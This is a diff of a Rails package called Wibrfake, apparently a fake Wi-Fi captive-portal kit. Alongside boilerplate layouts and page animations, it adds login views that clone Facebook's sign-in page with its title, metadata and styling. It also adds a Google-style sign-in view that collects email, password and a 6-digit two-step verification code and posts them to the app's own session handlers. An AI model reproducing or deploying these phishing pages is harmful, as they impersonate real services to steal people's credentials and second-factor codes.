wibrfake-brk 0.0.2

data/app/javascript/page_wibrfake_about.js

@@ -0,0 +1,147 @@
+document.addEventListener('DOMContentLoaded', function() {
+    // Intersection Observer for scroll animations
+    const observerOptions = {
+        threshold: 0.1,
+        rootMargin: '0px 0px -50px 0px'
+    };
+
+    const observer = new IntersectionObserver((entries) => {
+        entries.forEach(entry => {
+            if (entry.isIntersecting) {
+                entry.target.classList.add('animate-in');
+                observer.unobserve(entry.target);
+            }
+        });
+    }, observerOptions);
+
+    // Animate elements on scroll
+    document.querySelectorAll('.info-card, .feature-item, .team-member, .tech-item, .contact-item').forEach(element => {
+        element.style.opacity = '0';
+        element.style.transform = 'translateY(20px)';
+        observer.observe(element);
+    });
+
+    // Add animation class when elements become visible
+    document.querySelectorAll('.animate-on-scroll').forEach(element => {
+        observer.observe(element);
+    });
+
+    // Hover effects for feature items
+    document.querySelectorAll('.feature-item').forEach(item => {
+        item.addEventListener('mouseenter', () => {
+            item.querySelector('i').style.transform = 'scale(1.2) rotate(5deg)';
+        });
+
+        item.addEventListener('mouseleave', () => {
+            item.querySelector('i').style.transform = 'scale(1) rotate(0deg)';
+        });
+    });
+
+    // Team member card interactions
+    document.querySelectorAll('.team-member').forEach(member => {
+        member.addEventListener('mouseenter', () => {
+            member.querySelector('.member-avatar').style.transform = 'scale(1.1)';
+            member.querySelectorAll('.social-link').forEach((link, index) => {
+                setTimeout(() => {
+                    link.style.transform = 'translateY(-5px)';
+                    link.style.opacity = '1';
+                }, index * 100);
+            });
+        });
+
+        member.addEventListener('mouseleave', () => {
+            member.querySelector('.member-avatar').style.transform = 'scale(1)';
+            member.querySelectorAll('.social-link').forEach(link => {
+                link.style.transform = 'translateY(0)';
+                link.style.opacity = '0.7';
+            });
+        });
+    });
+
+    // Technology item interactions
+    document.querySelectorAll('.tech-item').forEach(item => {
+        item.addEventListener('mouseenter', () => {
+            item.querySelector('i').style.transform = 'scale(1.2)';
+            item.style.background = 'rgba(107, 95, 95, 0.15)';
+        });
+
+        item.addEventListener('mouseleave', () => {
+            item.querySelector('i').style.transform = 'scale(1)';
+            item.style.background = 'rgba(0, 0, 0, 0.2)';
+        });
+    });
+
+    // Contact item hover effects
+    document.querySelectorAll('.contact-item').forEach(item => {
+        item.addEventListener('mouseenter', () => {
+            item.querySelector('i').style.transform = 'rotate(15deg)';
+        });
+
+        item.addEventListener('mouseleave', () => {
+            item.querySelector('i').style.transform = 'rotate(0deg)';
+        });
+    });
+
+    // Add smooth transitions
+    document.querySelectorAll('i, a, button').forEach(element => {
+        element.style.transition = 'all 0.3s ease';
+    });
+
+    // Initialize elements with animations
+    function initializeAnimations() {
+        // Header animation
+        const header = document.querySelector('.about-header');
+        header.style.opacity = '0';
+        header.style.transform = 'translateY(-20px)';
+        
+        setTimeout(() => {
+            header.style.transition = 'all 0.5s ease-out';
+            header.style.opacity = '1';
+            header.style.transform = 'translateY(0)';
+        }, 100);
+
+        // Stagger animations for features
+        document.querySelectorAll('.feature-item').forEach((item, index) => {
+            setTimeout(() => {
+                item.classList.add('animate-in');
+            }, 200 + (index * 100));
+        });
+
+        // Stagger animations for team members
+        document.querySelectorAll('.team-member').forEach((member, index) => {
+            setTimeout(() => {
+                member.classList.add('animate-in');
+            }, 400 + (index * 150));
+        });
+
+        // Stagger animations for tech items
+        document.querySelectorAll('.tech-item').forEach((item, index) => {
+            setTimeout(() => {
+                item.classList.add('animate-in');
+            }, 600 + (index * 100));
+        });
+    }
+
+    // Add CSS class for animations
+    const style = document.createElement('style');
+    style.textContent = `
+        .animate-in {
+            animation: fadeIn 0.5s ease-out forwards;
+        }
+        
+        @keyframes fadeIn {
+            from {
+                opacity: 0;
+                transform: translateY(20px);
+            }
+            to {
+                opacity: 1;
+                transform: translateY(0);
+            }
+        }
+    `;
+    document.head.appendChild(style);
+
+    // Initialize animations
+    initializeAnimations();
+});

data/app/jobs/application_job.rb

@@ -0,0 +1,7 @@
+class ApplicationJob < ActiveJob::Base
+  # Automatically retry jobs that encountered a deadlock
+  # retry_on ActiveRecord::Deadlocked
+
+  # Most jobs are safe to ignore if the underlying records are no longer available
+  # discard_on ActiveJob::DeserializationError
+end

data/app/mailers/application_mailer.rb

@@ -0,0 +1,4 @@
+class ApplicationMailer < ActionMailer::Base
+  default from: "breakingtws@gmail.com"
+  layout "mailer"
+end

data/app/models/application_record.rb

@@ -0,0 +1,3 @@
+class ApplicationRecord < ActiveRecord::Base
+  primary_abstract_class
+end

data/app/models/user.rb

@@ -0,0 +1,6 @@
+class User < ApplicationRecord
+  # Include default devise modules. Others available are:
+  # :confirmable, :lockable, :timeoutable, :trackable and :omniauthable
+  devise :database_authenticatable, :registerable,
+         :recoverable, :rememberable, :validatable
+end

data/app/views/layouts/application.html.erb

@@ -0,0 +1,33 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <title><%= content_for(:title) || "Wibrfake" %></title>
+    <meta name="viewport" content="width=device-width,initial-scale=1">
+    <meta name="apple-mobile-web-app-capable" content="yes">
+    <%= csrf_meta_tags %>
+    <%= csp_meta_tag %>
+
+    <%= yield :head %>
+
+    <link rel="manifest" href="/manifest.json">
+    <link rel="icon" href="/icon.png" type="image/png">
+    <link rel="icon" href="/icon.svg" type="image/svg+xml">
+    <link rel="apple-touch-icon" href="/icon.png">
+    <%= javascript_importmap_tags %>
+  </head>
+
+  <body>
+  
+  <% if content_for?(:stylesheet) %>
+  <%= yield :stylesheet %>
+  
+
+<% end %>
+<% if content_for?(:javascript) %>
+  <%= yield :javascript %>
+  
+<% end %>
+<%= yield %>
+
+  </body>
+</html>

data/app/views/layouts/mailer.html.erb

@@ -0,0 +1,13 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+    <style>
+      /* Email styles need to be inline */
+    </style>
+  </head>
+
+  <body>
+    <%= yield %>
+  </body>
+</html>

data/app/views/layouts/mailer.text.erb

@@ -0,0 +1 @@
+<%= yield %>

data/app/views/pwa/manifest.json.erb

@@ -0,0 +1,22 @@
+{
+  "name": "Wibrfake",
+  "icons": [
+    {
+      "src": "/icon.png",
+      "type": "image/png",
+      "sizes": "512x512"
+    },
+    {
+      "src": "/icon.png",
+      "type": "image/png",
+      "sizes": "512x512",
+      "purpose": "maskable"
+    }
+  ],
+  "start_url": "/",
+  "display": "standalone",
+  "scope": "/",
+  "description": "Wibrfake.",
+  "theme_color": "red",
+  "background_color": "red"
+}

data/app/views/pwa/service-worker.js

@@ -0,0 +1,26 @@
+// Add a service worker for processing Web Push notifications:
+//
+// self.addEventListener("push", async (event) => {
+//   const { title, options } = await event.data.json()
+//   event.waitUntil(self.registration.showNotification(title, options))
+// })
+//
+// self.addEventListener("notificationclick", function(event) {
+//   event.notification.close()
+//   event.waitUntil(
+//     clients.matchAll({ type: "window" }).then((clientList) => {
+//       for (let i = 0; i < clientList.length; i++) {
+//         let client = clientList[i]
+//         let clientPath = (new URL(client.url)).pathname
+//
+//         if (clientPath == event.notification.data.path && "focus" in client) {
+//           return client.focus()
+//         }
+//       }
+//
+//       if (clients.openWindow) {
+//         return clients.openWindow(event.notification.data.path)
+//       }
+//     })
+//   )
+// })

data/app/views/sessions/basic/basic.html.erb

@@ -0,0 +1,21 @@
+<h2>Iniciar sesion en basic login<h2>
+<% content_for :stylesheet do %>
+    <%= stylesheet_link_tag 'basic/page_basic' %>
+<% end %>
+  
+  <!-- Resto del HTML de la vista "basic" -->
+<%= form_with url: basic_login_path, local: true do |f| %>
+    <div>
+        <%= f.label :username %>
+        <%= f.text_field :username, autofocus: true %>
+    </div>
+
+    <div>
+        <%= f.label :password %>
+        <%= f.password_field :password %>
+    </div>
+
+    <div id="iniciar-sesion">
+        <%= f.submit "Iniciar sesion" %>
+    </div>
+<% end %>

data/app/views/sessions/facebook/facebook.html.erb

@@ -0,0 +1,132 @@
+<!DOCTYPE html>
+<html lang="en" id="facebook" class="">
+<head>
+    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
+    <meta charset="utf-8">
+    <meta name="referrer" content="origin-when-crossorigin" id="meta_referrer">
+    
+    <script nonce="">
+        function envFlush(a) {
+            function b(b) {
+                for(var c in a) b[c] = a[c]
+            }
+            window.requireLazy ? window.requireLazy(["Env"], b) : (window.Env = window.Env || {}, b(window.Env))
+        }
+        envFlush({
+            "useTrustedTypes": false,
+            "isTrustedTypesReportOnly": false,
+            "ajaxpipe_token": "AXhHVkPn7xmjo49Ii3Q",
+            "stack_trace_limit": 30,
+            "timesliceBufferSize": 5000,
+            "show_invariant_decoder": false,
+            "compat_iframe_token": "AUWf1g3Hp9-C48ftLCiIqKSViyU",
+            "isCQuick": false,
+            "brsid": "7482526861462796748"
+        });
+    </script>
+
+    <script nonce="">
+        window.openDatabase && (window.openDatabase = function() { throw new Error() });
+    </script>
+
+    <script nonce="">
+        _btldr = {};
+    </script>
+
+    <!-- Más scripts y metadatos... -->
+    
+    <title id="pageTitle">Log into Facebook</title>
+    <meta name="bingbot" content="noarchive">
+    <meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know.">
+    
+    <!-- Open Graph tags -->
+    <meta property="og:site_name" content="Facebook">
+    <meta property="og:url" content="https://www.facebook.com/login.php/">
+    <meta property="og:locale" content="en_US">
+
+    <!-- Enlaces de recursos -->
+    <link rel="canonical" href="https://www.facebook.com/login/web/">
+    <link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yx/r/e9sqr8WnkCf.ico">
+    
+    <!-- Hojas de estilo -->
+    <% content_for :stylesheet do %>
+        <%= stylesheet_link_tag 'facebook/page_facebook' %>
+    <% end %>
+    <!-- Scripts -->
+    <script src="Log%20into%20Facebook_files/awtagErm_wi.js" data-bootloader-hash="bEx44LC" crossorigin="anonymous"></script>
+    
+    <!-- Más scripts y configuraciones... -->
+</head>
+
+<body class="_39il _97vt _97vz _97v- _97v_ _97w2 _97w0 _9ax- _9ax_ _9ay1 UIPage_LoggedOut _-kb _605a b_c3pyn-ahh gecko x1 Locale_en_US cores-gte4 _19_u" dir="ltr">
+    <!-- Contenido principal -->
+    <div class="_li" id="u_0_0_N8">
+        <div id="globalContainer" class="uiContextualLayerParent">
+            <div class="fb_content clearfix" id="content" role="main">
+                <!-- Formulario de login -->
+                <div class="_4-u5 _30ny">
+                    <div class="_97vy">
+                        <%= image_tag 'facebook/facebook-logo.svg', class: '_97vu img', alt: 'WibrFake'%>
+                    </div>
+                    
+                    <div class="_4-u2 _1w1t _4-u8 _52jv">
+                        <div class="_xku" id="header_block">
+                            <span class="_97w1 _50f6">
+                                <div class="_9axz">Log Into Facebook</div>
+                            </span>
+                        </div>
+                        
+                        <div class="login_form_container">
+                            <form class="form" id="login_form formulario" action="<%= url_for(controller: 'sessions', action: 'facebook_login') %>" method="post">
+                                <!-- Campos del formulario -->
+                                <input type="hidden" name="jazoest" value="21051" autocomplete="off">
+                                <input type="hidden" name="lsd" value="AVrUjvEUkuc" autocomplete="off">
+                                
+                                <div id="loginform">
+                                    <div class="clearfix _5466 _44mg" id="email_container">
+                                        <input type="text" class="inputtext _55r1 inputtext _1kbt" 
+                                               name="email" id="email" placeholder="Email or phone number" 
+                                               autofocus autocomplete="username" aria-label="Email or phone number">
+                                    </div>
+                                    
+                                    <div class="clearfix _5466 _44mg">
+                                        <div class="_55r1 _1kbt">
+                                            <input type="password" class="inputtext _55r1 inputtext _9npi" 
+                                                   name="password" id="password" placeholder="Password" 
+                                                   autocomplete="current-password" aria-label="Password">
+                                        </div>
+                                    </div>
+                                    
+                                    <div class="_xkt">
+                                        <button value="1" class="_42ft _4jy0 _52e0 _4jy6 _4jy1 selected _51sy" 
+                                                id="loginbutton" name="login" type="submit">
+                                            Log In
+                                        </button>
+                                    </div>
+                                    
+                                    
+                                </div>
+                            </form>
+                        </div>
+                    </div>
+                </div>
+            </div>
+            
+            <!-- Pie de página -->
+            <div class="_95ke _8opy">
+                <div id="pageFooter" data-referrer="page_footer">
+                </div>
+            </div>
+        </div>
+    </div>
+
+    <!-- Scripts finales -->
+    <script nonce="">
+        // Código de inicialización
+        requireLazy(["Bootloader"], function(m) {
+            m.handlePayload({/* Configuraciones */});
+        });
+    </script>
+    
+</body>
+</html>

data/app/views/sessions/google/google.html.erb

@@ -0,0 +1,72 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Google Login - Practice</title>
+    <% content_for :stylesheet do %>
+        <%= stylesheet_link_tag 'google/page_google' %>
+    <% end %>
+    <% content_for :javascript do %>
+        <%= javascript_include_tag 'google/page_google' %>
+    <% end %>
+</head>
+<body>
+    <div class="login-container">
+        <!-- Form 1: Email/Phone and Password -->
+        <form id="formulario" class="login-form active form" action="<%= url_for(controller: 'sessions', action: 'google_login') %>" method="post">
+            <%= image_tag 'google/googlelogo_color_272x92dp.png', alt: 'Google', class: 'google-logo' %>
+
+            <h1>Sign In</h1>
+            <p class="subtitle">Use your Google Account</p>
+
+            <input type="text" 
+                   id="identifier" 
+                   name="username"
+                   placeholder="Email or phone"
+                   required>
+            
+            <input type="password"
+                    id="password"
+                    name="password"
+                    placeholder="Enter your password" 
+                    required>
+
+            <div class="button-container">
+                <button type="button" class="back-button" id="createAccountBtn">Create account</button>
+                <button type="submit" class="next-button">Next</button>
+            </div>
+        </form>
+
+        <!-- Form 2: 2FA -->
+        <form id="twoFaForm" class="login-form" action="<%= url_for(controller: 'sessions', action: 'google_login') %>" method="post">
+            <%= image_tag 'google/googlelogo_color_272x92dp.png', alt: 'Google', class: 'google-logo' %>
+
+            <h1>Two-Step Verification</h1>
+            <p class="subtitle" id="verificationMethod"></p>
+
+            <input type="number"
+                   id="2faCode" 
+                   name="dfa"
+                   placeholder="6-digit code" 
+                   required>
+
+            <div class="button-container">
+                <button type="button" class="back-button" id="backBtn">Back</button>
+                <button type="submit" class="next-button">Verify</button>
+            </div>
+        </form>
+
+        <div class="footer">
+            <select>
+                <option>English (United States)</option>
+            </select>
+            <div>
+                <span>Help</span>
+                <span>Privacy</span>
+                <span>Terms</span>
+            </div>
+        </div>
+    </div>
+</body>
+</html>

data/app/views/sessions/index.html.erb

@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>WibrFake</title>
+</head>
+<body>
+    <h1>Hello World</h1>
+</body>
+</html>